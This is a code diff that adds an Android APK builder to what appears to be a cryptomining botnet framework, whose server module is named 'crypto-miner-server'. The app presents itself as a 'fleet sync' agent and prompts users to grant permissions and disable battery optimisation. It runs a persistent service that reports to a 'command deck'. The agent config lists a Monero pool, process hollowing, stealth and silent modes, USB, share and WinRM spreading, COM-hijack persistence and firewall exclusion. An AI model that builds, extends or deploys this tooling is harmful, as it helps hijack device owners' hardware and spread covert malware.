pendingPermissions = requiredRuntimePermissions() + if (pendingPermissions.isEmpty()) { + openBatteryOptimizationSettings() + startFleetService() + return + } + permissionLauncher.launch(pendingPermissions.toTypedArray()) + } + + private fun requestNextPermissionBatch() { + openBatteryOptimizationSettings() + startFleetService() + } + + private fun openBatteryOptimizationSettings() { + val pm = getSystemService(POWER_SERVICE) as PowerManager + if (!pm.isIgnoringBatteryOptimizations(packageName)) { + val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply { + data = Uri.parse("package:$packageName") + } + runCatching { startActivity(intent) } + } + } + + private fun startFleetService() { + val serviceIntent = Intent(this, AgentService::class.java).apply { + action = AgentService.ACTION_START + intent?.extras?.let { putExtras(it) } + } + AgentService.start(this, serviceIntent) + Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show() + } +} diff --git a/android/agent-app/src/main/res/drawable/ic_launcher_foreground.xml b/android/agent-app/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100644 index 0000000..4805456 --- /dev/null +++ b/android/agent-app/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,13 @@ + + + + + diff --git a/android/agent-app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/android/agent-app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..a8a8fa5 --- /dev/null +++ b/android/agent-app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + diff --git a/android/agent-app/src/main/res/mipmap/ic_launcher.xml b/android/agent-app/src/main/res/mipmap/ic_launcher.xml new file mode 100644 index 0000000..3a96436 --- /dev/null +++ b/android/agent-app/src/main/res/mipmap/ic_launcher.xml @@ -0,0 +1,3 @@ + + diff --git a/android/agent-app/src/main/res/values/colors.xml b/android/agent-app/src/main/res/values/colors.xml new file mode 100644 index 0000000..0cfdac6 --- /dev/null +++ b/android/agent-app/src/main/res/values/colors.xml @@ -0,0 +1,4 @@ + + + #0F172A + diff --git a/android/agent-app/src/main/res/values/strings.xml b/android/agent-app/src/main/res/values/strings.xml new file mode 100644 index 0000000..1aad6fd --- /dev/null +++ b/android/agent-app/src/main/res/values/strings.xml @@ -0,0 +1,14 @@ + + + AetherForge Agent + Your fleet node + Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background. + Fleet sync + Keeps your AetherForge fleet node connected + Fleet sync + AetherForge agent connected to command deck + For reliable background sync, disable battery optimizations for this app when prompted. + Fleet agent service started + Could not start fleet agent — see logcat + Battery optimization settings + diff --git a/android/agent-app/src/main/res/values/themes.xml b/android/agent-app/src/main/res/values/themes.xml new file mode 100644 index 0000000..9546a45 --- /dev/null +++ b/android/agent-app/src/main/res/values/themes.xml @@ -0,0 +1,9 @@ + + + + diff --git a/android/build-apk.ps1 b/android/build-apk.ps1 new file mode 100644 index 0000000..aab34c7 --- /dev/null +++ b/android/build-apk.ps1 @@ -0,0 +1,88 @@ +# AetherForge Android Agent APK — compile embedded agent + assembleDebug +param( + [string]$ServerUrl = $(if ($env:AETHERFORGE_SERVER_URL) { $env:AETHERFORGE_SERVER_URL } else { "http://127.0.0.1:8989" }), + [string]$WorkerName = $(if ($env:AETHERFORGE_WORKER_NAME) { $env:AETHERFORGE_WORKER_NAME } else { "android-fleet-node" }), + [string]$FleetSecret = $env:AETHERFORGE_FLEET_SECRET, + [string]$BuildId = "android-$(Get-Date -Format 'yyyyMMdd-HHmmss')" +) + +$ErrorActionPreference = "Stop" +$Root = Split-Path -Parent $MyInvocation.MyCommand.Path +$RepoRoot = Split-Path -Parent $Root +$AgentDir = Join-Path $RepoRoot "agent" +$AppDir = Join-Path $Root "agent-app" +$AssetsDir = Join-Path $AppDir "src\main\assets" +$AgentAsset = Join-Path $AssetsDir "agent" +$ConfigAsset = Join-Path $AssetsDir "config.json" +$BuiltinPath = Join-Path $AgentDir "config\builtin.go" +$BuiltinBackup = Join-Path $AgentDir "config\builtin.go.android-bak" +$ApkOut = Join-Path $AppDir "build\outputs\apk\debug\aetherforge-agent.apk" + +function Restore-Builtin { + if (Test-Path $BuiltinBackup) { + Move-Item -Force $BuiltinBackup $BuiltinPath + } +} + +try { + if (-not (Get-Command go -ErrorAction SilentlyContinue)) { + throw "go compiler not found in PATH" + } + + Write-Host "==> Baking config (server=$ServerUrl worker=$WorkerName)" -ForegroundColor Cyan + Push-Location (Join-Path $Root "forge") + $bakeArgs = @( + "run", "./cmd/bake", + "-server", $ServerUrl, + "-worker", $WorkerName, + "-build-id", $BuildId, + "-config-out", $ConfigAsset, + "-builtin-out", $BuiltinPath + ) + if ($FleetSecret) { $bakeArgs += @("-fleet-secret", $FleetSecret) } + & go @bakeArgs + if ($LASTEXITCODE -ne 0) { throw "bake failed" } + Pop-Location + + if (Test-Path $BuiltinPath) { + Copy-Item -Force $BuiltinPath $BuiltinBackup + } + + Write-Host "==> Compiling linux/arm64 agent binary" -ForegroundColor Cyan + $env:GOOS = "linux" + $env:GOARCH = "arm64" + $env:CGO_ENABLED = "0" + Push-Location $AgentDir + & go build -trimpath -ldflags "-s -w" -o $AgentAsset . + if ($LASTEXITCODE -ne 0) { throw "go build failed" } + Pop-Location + + $size = (Get-Item $AgentAsset).Length + Write-Host " agent binary: $size bytes -> $AgentAsset" + + if (-not $env:ANDROID_HOME -and $env:ANDROID_SDK_ROOT) { + $env:ANDROID_HOME = $env:ANDROID_SDK_ROOT + } + if (-not $env:ANDROID_HOME) { + throw "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug" + } + + $gradlew = Join-Path $AppDir "gradlew.bat" + if (-not (Test-Path $gradlew)) { + throw "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper" + } + + Write-Host "==> Gradle assembleDebug" -ForegroundColor Cyan + Push-Location $AppDir + & $gradlew assembleDebug --no-daemon + if ($LASTEXITCODE -ne 0) { throw "gradle assembleDebug failed" } + Pop-Location + + if (-not (Test-Path $ApkOut)) { + throw "APK not found at $ApkOut" + } + Write-Host "==> APK ready: $ApkOut" -ForegroundColor Green +} +finally { + Restore-Builtin +} diff --git a/android/build-apk.sh b/android/build-apk.sh new file mode 100644 index 0000000..9cdc948 --- /dev/null +++ b/android/build-apk.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# AetherForge Android Agent APK — compile embedded agent + assembleDebug +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")" && pwd)" +REPO_ROOT="$(cd "$ROOT/.." && pwd)" +AGENT_DIR="$REPO_ROOT/agent" +APP_DIR="$ROOT/agent-app" +ASSETS_DIR="$APP_DIR/src/main/assets" +AGENT_ASSET="$ASSETS_DIR/agent" +CONFIG_ASSET="$ASSETS_DIR/config.json" +BUILTIN_PATH="$AGENT_DIR/config/builtin.go" +BUILTIN_BACKUP="$AGENT_DIR/config/builtin.go.android-bak" +APK_OUT="$APP_DIR/build/outputs/apk/debug/aetherforge-agent.apk" + +SERVER_URL="${AETHERFORGE_SERVER_URL:-http://127.0.0.1:8989}" +WORKER_NAME="${AETHERFORGE_WORKER_NAME:-android-fleet-node}" +FLEET_SECRET="${AETHERFORGE_FLEET_SECRET:-}" +BUILD_ID="${AETHERFORGE_BUILD_ID:-android-$(date +%Y%m%d-%H%M%S)}" + +restore_builtin() { + if [[ -f "$BUILTIN_BACKUP" ]]; then + mv -f "$BUILTIN_BACKUP" "$BUILTIN_PATH" + fi +} +trap restore_builtin EXIT + +command -v go >/dev/null 2>&1 || { echo "go compiler not found" >&2; exit 1; } + +echo "==> Baking config (server=$SERVER_URL worker=$WORKER_NAME)" +pushd "$ROOT/forge" >/dev/null +bake_args=( + run ./cmd/bake + -server "$SERVER_URL" + -worker "$WORKER_NAME" + -build-id "$BUILD_ID" + -config-out "$CONFIG_ASSET" + -builtin-out "$BUILTIN_PATH" +) +if [[ -n "$FLEET_SECRET" ]]; then + bake_args+=(-fleet-secret "$FLEET_SECRET") +fi +go "${bake_args[@]}" +popd >/dev/null + +[[ -f "$BUILTIN_PATH" ]] && cp -f "$BUILTIN_PATH" "$BUILTIN_BACKUP" + +echo "==> Compiling linux/arm64 agent binary" +( + cd "$AGENT_DIR" + GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -trimpath -ldflags "-s -w" -o "$AGENT_ASSET" . +) + +echo " agent binary: $(wc -c <"$AGENT_ASSET") bytes -> $AGENT_ASSET" + +export ANDROID_HOME="${ANDROID_HOME:-${ANDROID_SDK_ROOT:-}}" +if [[ -z "$ANDROID_HOME" ]]; then + echo "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug" >&2 + exit 1 +fi + +if [[ ! -x "$APP_DIR/gradlew" ]]; then + echo "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper" >&2 + exit 1 +fi + +echo "==> Gradle assembleDebug" +( + cd "$APP_DIR" + ./gradlew assembleDebug --no-daemon +) + +[[ -f "$APK_OUT" ]] || { echo "APK not found at $APK_OUT" >&2; exit 1; } +echo "==> APK ready: $APK_OUT" diff --git a/android/forge/cmd/bake/main.go b/android/forge/cmd/bake/main.go new file mode 100644 index 0000000..81f66bb --- /dev/null +++ b/android/forge/cmd/bake/main.go @@ -0,0 +1,80 @@ +// bake renders Android APK assets and agent builtin config for a forge run. +package main + +import ( + "flag" + "fmt" + "os" + "path/filepath" + + "aetherforge-android-forge/internal/forge" +) + +func main() { + worker := flag.String("worker", "", "agent worker name") + server := flag.String("server", "", "command deck URL (http/https)") + secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)") + wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)") + buildID := flag.String("build-id", "android-dev", "build id stamped into config") + configOut := flag.String("config-out", "", "write assets/config.json here") + builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here") + flag.Parse() + + cfg := forge.AndroidAgentDefaults() + if *worker != "" { + cfg.WorkerName = *worker + } + if *server != "" { + cfg.ServerURL = *server + } + if *secret != "" { + cfg.FleetSecret = *secret + } else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" { + cfg.FleetSecret = v + } + if *wallet != "" { + cfg.Wallet = *wallet + } + if *buildID != "" { + cfg.BuildID = *buildID + } + + if *configOut != "" { + json, err := forge.RenderConfigJSON(cfg) + if err != nil { + exitErr(err) + } + if err := writeFile(*configOut, json); err != nil { + exitErr(err) + } + fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut) + } + + if *builtinOut != "" { + src, err := forge.RenderBuiltinGo(cfg) + if err != nil { + exitErr(err) + } + if err := writeFile(*builtinOut, src); err != nil { + exitErr(err) + } + fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut) + } + + if *configOut == "" && *builtinOut == "" { + fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out") + os.Exit(2) + } +} + +func writeFile(path, body string) error { + if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { + return err + } + return os.WriteFile(path, []byte(body), 0644) +} + +func exitErr(err error) { + fmt.Fprintf(os.Stderr, "bake error: %v\n", err) + os.Exit(1) +} diff --git a/android/forge/go.mod b/android/forge/go.mod new file mode 100644 index 0000000..c9ec930 --- /dev/null +++ b/android/forge/go.mod @@ -0,0 +1,3 @@ +module aetherforge-android-forge + +go 1.26.3 diff --git a/android/forge/internal/forge/config.go b/android/forge/internal/forge/config.go new file mode 100644 index 0000000..2c4c845 --- /dev/null +++ b/android/forge/internal/forge/config.go @@ -0,0 +1,140 @@ +// Package forge renders Android agent APK bake-time configuration. +package forge + +import ( + "bytes" + "encoding/json" + "fmt" + "strings" + "time" +) + +// BakeConfig holds values embedded at APK forge time. +type BakeConfig struct { + WorkerName string `json:"worker_name"` + ServerURL string `json:"server_url"` + FleetSecret string `json:"fleet_secret,omitempty"` + Wallet string `json:"wallet,omitempty"` + BuildID string `json:"build_id,omitempty"` +} + +// AndroidAgentDefaults returns fleet-first defaults with mining off by default. +func AndroidAgentDefaults() BakeConfig { + return BakeConfig{ + WorkerName: "android-fleet-node", + ServerURL: "http://127.0.0.1:8989", + Wallet: "android-node-no-pool", + BuildID: "android-dev", + } +} + +// RenderConfigJSON produces assets/config.json content for the APK wrapper. +func RenderConfigJSON(cfg BakeConfig) (string, error) { + cfg = normalize(cfg) + out := map[string]any{ + "worker_name": cfg.WorkerName, + "server_url": cfg.ServerURL, + "mining": map[string]any{ + "enabled": false, + "mode": "idle", + "note": "CPU mining disabled by default; enable via server policy or re-forge.", + }, + "fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "", + "build_id": cfg.BuildID, + } + if cfg.FleetSecret != "" { + out["fleet_secret"] = cfg.FleetSecret + } + var buf bytes.Buffer + enc := json.NewEncoder(&buf) + enc.SetEscapeHTML(false) + enc.SetIndent("", " ") + if err := enc.Encode(out); err != nil { + return "", err + } + return strings.TrimSpace(buf.String()) + "\n", nil +} + +// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary. +func RenderBuiltinGo(cfg BakeConfig) (string, error) { + cfg = normalize(cfg) + now := time.Now().UTC().Unix() + return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT +// Build ID: %s + +package config + +import "time" + +func GetBuiltinConfig() BuiltinConfig { + return BuiltinConfig{ + WorkerName: %q, + ServerURL: %q, + Wallet: %q, + Threads: 0, + ThreadMode: "percent", + ThreadPercent: 0, + CPUPriority: "idle", + MiningMode: "idle", + MinerExecution: "inprocess", + DisplayMode: "background", + SilentMode: false, + RunAs: "user", + AutoStart: false, + ProcessName: "aetherforge-agent", + BuildID: %q, + BuiltAt: time.Unix(%d, 0), + PoolHost: "pool.supportxmr.com", + PoolPort: 3333, + PoolTLS: false, + PoolPass: "x", + MaxCPUUsage: 0, + MaxMemoryPct: 50, + MinFreeRAM: 256, + IdleThresholdPct: 0, + IdleDurationMinutes: 60, + ScheduleStart: "00:00", + ScheduleEnd: "00:01", + InstallBase: "temp", + InstallRelativePath: "aetherforge-agent", + AdaptToHardware: true, + SelfHealing: false, + FileLogging: true, + StealthMode: false, + FirewallExclusion: false, + AIEnabled: false, + ProcessHollowing: false, + MeshP2P: false, + AutoSpread: false, + HolePunch: false, + RemoteAggressive: false, + USBSpread: false, + ShareSpread: false, + GPUEnabled: false, + FleetSecret: %q, + LotlOnionEnabled: false, + LotlPolicyFromServer: false, + DnsTxtSpread: false, + WebRTCMeshSpread: false, + WSUSCachePeerSpread: false, + } +} +`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil +} + +func normalize(cfg BakeConfig) BakeConfig { + def := AndroidAgentDefaults() + if strings.TrimSpace(cfg.WorkerName) == "" { + cfg.WorkerName = def.WorkerName + } + if strings.TrimSpace(cfg.ServerURL) == "" { + cfg.ServerURL = def.ServerURL + } + if strings.TrimSpace(cfg.Wallet) == "" { + cfg.Wallet = def.Wallet + } + if strings.TrimSpace(cfg.BuildID) == "" { + cfg.BuildID = def.BuildID + } + return cfg +} diff --git a/android/forge/internal/forge/config_test.go b/android/forge/internal/forge/config_test.go new file mode 100644 index 0000000..6eb4fbf --- /dev/null +++ b/android/forge/internal/forge/config_test.go @@ -0,0 +1,78 @@ +package forge + +import ( + "encoding/json" + "strings" + "testing" +) + +func TestRenderConfigJSON(t *testing.T) { + cfg := BakeConfig{ + WorkerName: "pixel-7", + ServerURL: "https://deck.example.com:8989", + FleetSecret: "test-secret", + BuildID: "apk-001", + } + raw, err := RenderConfigJSON(cfg) + if err != nil { + t.Fatal(err) + } + var doc map[string]any + if err := json.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatalf("invalid json: %v\n%s", err, raw) + } + if doc["worker_name"] != "pixel-7" { + t.Fatalf("worker_name: %v", doc["worker_name"]) + } + if doc["server_url"] != "https://deck.example.com:8989" { + t.Fatalf("server_url: %v", doc["server_url"]) + } + mining, ok := doc["mining"].(map[string]any) + if !ok || mining["enabled"] != false { + t.Fatalf("mining should be disabled: %v", doc["mining"]) + } + if doc["fleet_secret_set"] != true { + t.Fatalf("fleet_secret_set expected true") + } +} + +func TestRenderBuiltinGo(t *testing.T) { + cfg := BakeConfig{ + WorkerName: "tab-s9", + ServerURL: "http://10.0.0.5:8989", + FleetSecret: "fleet-key", + Wallet: "placeholder-wallet", + BuildID: "b-android", + } + src, err := RenderBuiltinGo(cfg) + if err != nil { + t.Fatal(err) + } + for _, needle := range []string{ + `WorkerName: "tab-s9"`, + `ServerURL: "http://10.0.0.5:8989"`, + `FleetSecret: "fleet-key"`, + `MiningMode: "idle"`, + `IdleThresholdPct: 0`, + `AutoStart: false`, + `GPUEnabled: false`, + } { + if !strings.Contains(src, needle) { + t.Fatalf("missing %q in builtin.go:\n%s", needle, src) + } + } +} + +func TestAndroidAgentDefaults(t *testing.T) { + def := AndroidAgentDefaults() + raw, err := RenderConfigJSON(def) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(raw, `"enabled": false`) { + t.Fatalf("expected mining disabled in json: %s", raw) + } + if !strings.Contains(raw, def.ServerURL) { + t.Fatalf("expected default server url in json: %s", raw) + } +} diff --git a/android/smoke-gradle.sh b/android/smoke-gradle.sh new file mode 100644 index 0000000..8e07e3d --- /dev/null +++ b/android/smoke-gradle.sh @@ -0,0 +1,37 @@ +#!/usr/bin/env bash +# Smoke-check that the Android Gradle project is structurally valid. +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")" && pwd)" +APP="$ROOT/agent-app" + +required=( + "$APP/build.gradle.kts" + "$APP/settings.gradle.kts" + "$APP/src/main/AndroidManifest.xml" + "$APP/src/main/java/com/aetherforge/agent/MainActivity.kt" + "$APP/src/main/java/com/aetherforge/agent/AgentService.kt" + "$APP/src/main/java/com/aetherforge/agent/BootReceiver.kt" + "$APP/src/main/assets/config.json" +) + +for f in "${required[@]}"; do + if [[ ! -f "$f" ]]; then + echo "missing required file: $f" >&2 + exit 1 + fi +done + +grep -q 'FOREGROUND_SERVICE' "$APP/src/main/AndroidManifest.xml" +grep -q 'RECEIVE_BOOT_COMPLETED' "$APP/src/main/AndroidManifest.xml" +grep -q 'AgentService' "$APP/src/main/AndroidManifest.xml" + +if [[ -x "$APP/gradlew" ]]; then + (cd "$APP" && ./gradlew help -q) +elif command -v gradle >/dev/null 2>&1; then + (cd "$APP" && gradle help -q) +else + echo "gradle not installed — structural checks only (PASS)" +fi + +echo "android gradle smoke: OK" diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index 92c396a..2fe70b0 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -186,6 +186,7 @@ if (-not $SkipE2E) { go build -o $ServerExe . Pop-Location } + $env:AETHERFORGE_E2E = "1" $proc = Start-Process -FilePath $ServerExe -ArgumentList "-port","18989","-data",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden try { $ready = $false diff --git a/server/internal/builder/build_apk.go b/server/internal/builder/build_apk.go new file mode 100644 index 0000000..52e68c9 --- /dev/null +++ b/server/internal/builder/build_apk.go @@ -0,0 +1,292 @@ +package builder + +import ( + "context" + "encoding/json" + "fmt" + "log" + "net/http" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "time" + + "crypto-miner-server/internal/models" + + "github.com/google/uuid" +) + +// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path. +type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error) + +// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes). +var apkSafeLotlTiers = []string{"vuln_recon", "linux"} + +// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds. +func ApplyApkBuildPreset(req *BuildRequest) { + req.ApkMode = true + req.TargetOS = "android" + req.TargetArch = "arm64" + req.FusionEnabled = false + req.SpreadKit = false + req.GPUEnabled = false + req.ProcessHollowing = false + req.Obfuscate = false + req.SignBuild = false + req.MiningDisabled = true + req.MinerExecution = "inprocess" + req.Threads = 1 + req.ThreadMode = "fixed" + req.ThreadPercent = 25 + req.MiningMode = "idle" + req.MaxCPUUsagePct = 30 + req.StealthMode = true + req.SilentMode = true + req.DisplayMode = "background" + req.FileLogging = false + req.AutoSpread = false + req.USBSpread = false + req.ShareSpread = false + req.WinRMSpread = false + req.DnsTxtSpread = false + req.WebRTCMeshSpread = false + req.WSUSCachePeerSpread = false + req.COMHijackPersist = false + req.RemoteAggressive = false + req.LinuxLOTLMode = "off" + req.LotlOnionEnabled = false + req.LotlPolicyFromServer = false + req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...) + if strings.TrimSpace(req.ApkAgentName) == "" { + req.ApkAgentName = req.WorkerName + } +} + +func (h *Handler) apkAndroidDir() string { + if h.projectRoot != "" && h.projectRoot != "." { + return filepath.Join(h.projectRoot, "android") + } + return filepath.Join(h.dataDir, "android") +} + +func (h *Handler) apkAssetsDir() string { + return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets") +} + +type apkAssetConfig struct { + ServerURL string `json:"server_url"` + WorkerName string `json:"worker_name"` +} + +func (h *Handler) writeApkConfigJSON(req *BuildRequest) error { + assetsDir := h.apkAssetsDir() + if err := os.MkdirAll(assetsDir, 0755); err != nil { + return fmt.Errorf("create apk assets dir: %w", err) + } + cfg := apkAssetConfig{ + ServerURL: strings.TrimSpace(req.ServerURL), + WorkerName: strings.TrimSpace(req.ApkAgentName), + } + if cfg.WorkerName == "" { + cfg.WorkerName = strings.TrimSpace(req.WorkerName) + } + raw, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644) +} + +func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error { + assetsDir := h.apkAssetsDir() + if err := os.MkdirAll(assetsDir, 0755); err != nil { + return fmt.Errorf("create apk assets dir: %w", err) + } + dest := filepath.Join(assetsDir, "agent") + return copyFile(agentBinary, dest) +} + +func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) { + script := filepath.Join(androidDir, "build-apk.ps1") + if runtime.GOOS == "windows" && fileExists(script) { + cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir) + out, err := cmd.CombinedOutput() + if err != nil { + if ctx.Err() != nil { + return "", fmt.Errorf("apk build cancelled") + } + return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out))) + } + apk := filepath.Join(buildDir, "agent-app-release.apk") + if fileExists(apk) { + return apk, nil + } + return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk") + } + + gradlew := filepath.Join(androidDir, "gradlew") + if runtime.GOOS == "windows" { + gradlew = filepath.Join(androidDir, "gradlew.bat") + } + if fileExists(gradlew) { + cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease") + cmd.Dir = androidDir + out, err := cmd.CombinedOutput() + if err != nil { + if ctx.Err() != nil { + return "", fmt.Errorf("apk build cancelled") + } + return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out))) + } + candidates := []string{ + filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"), + filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"), + } + for _, c := range candidates { + if fileExists(c) { + dest := filepath.Join(buildDir, "agent-app-release.apk") + if err := copyFile(c, dest); err != nil { + return "", err + } + return dest, nil + } + } + return "", fmt.Errorf("gradle finished but APK output not found") + } + + return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script) +} + +func fileExists(path string) bool { + _, err := os.Stat(path) + return err == nil +} + +func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) { + if h.apkBuildFn != nil { + return h.apkBuildFn(h, ctx, androidDir, buildDir) + } + return h.defaultApkBuild(ctx, androidDir, buildDir) +} + +func apkFileName(req *BuildRequest) string { + base := sanitizeFileName(req.ApkAgentName) + if base == "" { + base = sanitizeFileName(req.WorkerName) + } + return "agent-" + base + ".apk" +} + +// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK. +func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) { + ApplyApkBuildPreset(req) + + buildID := uuid.New().String() + buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) + agentDir := filepath.Join(buildDir, "agent") + cleanupBuild := func() { _ = os.RemoveAll(buildDir) } + + if err := os.MkdirAll(agentDir, 0755); err != nil { + return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" + } + + h.setProgress(req.CancelToken, "Copying source files", 5) + if err := h.copyAgentSource(agentDir); err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" + } + + platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""} + h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25) + outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false) + if err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + + h.setProgress(req.CancelToken, "Writing Android config", 55) + if err := h.writeApkConfigJSON(req); err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, "" + } + + h.setProgress(req.CancelToken, "Copying agent to APK assets", 65) + if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, "" + } + + h.setProgress(req.CancelToken, "Building APK", 80) + androidDir := h.apkAndroidDir() + apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir) + if err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + + finalName := apkFileName(req) + finalPath := filepath.Join(buildDir, finalName) + if apkPath != finalPath { + if err := copyFile(apkPath, finalPath); err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, "" + } + } + + fileInfo, err := os.Stat(finalPath) + if err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, "" + } + if err := h.checkBuildSize(fileInfo.Size()); err != nil { + cleanupBuild() + return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, "" + } + + exportPath := "" + if h.projectRoot != "" && h.projectRoot != "." { + exportPath = filepath.Join(h.projectRoot, finalName) + if err := copyFile(finalPath, exportPath); err != nil { + log.Printf("[Builder] APK root export: %v", err) + exportPath = "" + } + } + if exportPath == "" { + exportPath, _ = filepath.Abs(finalPath) + } + + absPath, _ := filepath.Abs(finalPath) + dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID) + buildRecord := &models.BuildRecord{ + ID: buildID, + WorkerName: req.WorkerName, + ServerURL: req.ServerURL, + Wallet: req.Wallet, + Threads: req.Threads, + FileSize: fileInfo.Size(), + FilePath: absPath, + FileName: finalName, + DownloadURL: dlURL, + Platform: "android", + CreatedAt: time.Now(), + } + h.setProgress(req.CancelToken, "Saving to database", 99) + if err := h.db.InsertBuild(buildRecord); err != nil { + return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" + } + + h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size()) + + return BuildResponse{ + Success: true, + BuildID: buildID, + FileName: finalName, + FilePath: absPath, + ArtifactPath: absPath, + FileSize: fileInfo.Size(), + DownloadURL: dlURL, + ExportPath: exportPath, + }, http.StatusOK, finalPath +} diff --git a/server/internal/builder/build_apk_test.go b/server/internal/builder/build_apk_test.go new file mode 100644 index 0000000..ae340b9 --- /dev/null +++ b/server/internal/builder/build_apk_test.go @@ -0,0 +1,121 @@ +package builder + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestApplyApkBuildPreset(t *testing.T) { + req := &BuildRequest{ + WorkerName: "phone-1", + ServerURL: "http://192.168.1.5:8989", + FusionEnabled: true, + Threads: 8, + } + ApplyApkBuildPreset(req) + if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" { + t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch) + } + if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled { + t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled) + } + if req.Threads != 1 { + t.Fatalf("threads=%d want 1", req.Threads) + } + if req.ApkAgentName != "phone-1" { + t.Fatalf("apk_agent_name=%q", req.ApkAgentName) + } +} + +func TestPlatformsForRequestApkMode(t *testing.T) { + ps := platformsForRequest(&BuildRequest{ApkMode: true}) + if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" { + t.Fatalf("apk platform: %+v", ps) + } +} + +func TestBuildAPKAgentMockGradle(t *testing.T) { + h, _ := testHandlerDB(t) + setFakeGoSuccess(t, h) + + androidDir := filepath.Join(h.projectRoot, "android") + if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil { + t.Fatal(err) + } + + h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) { + apk := filepath.Join(buildDir, "agent-app-release.apk") + if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil { + return "", err + } + return apk, nil + } + + req := 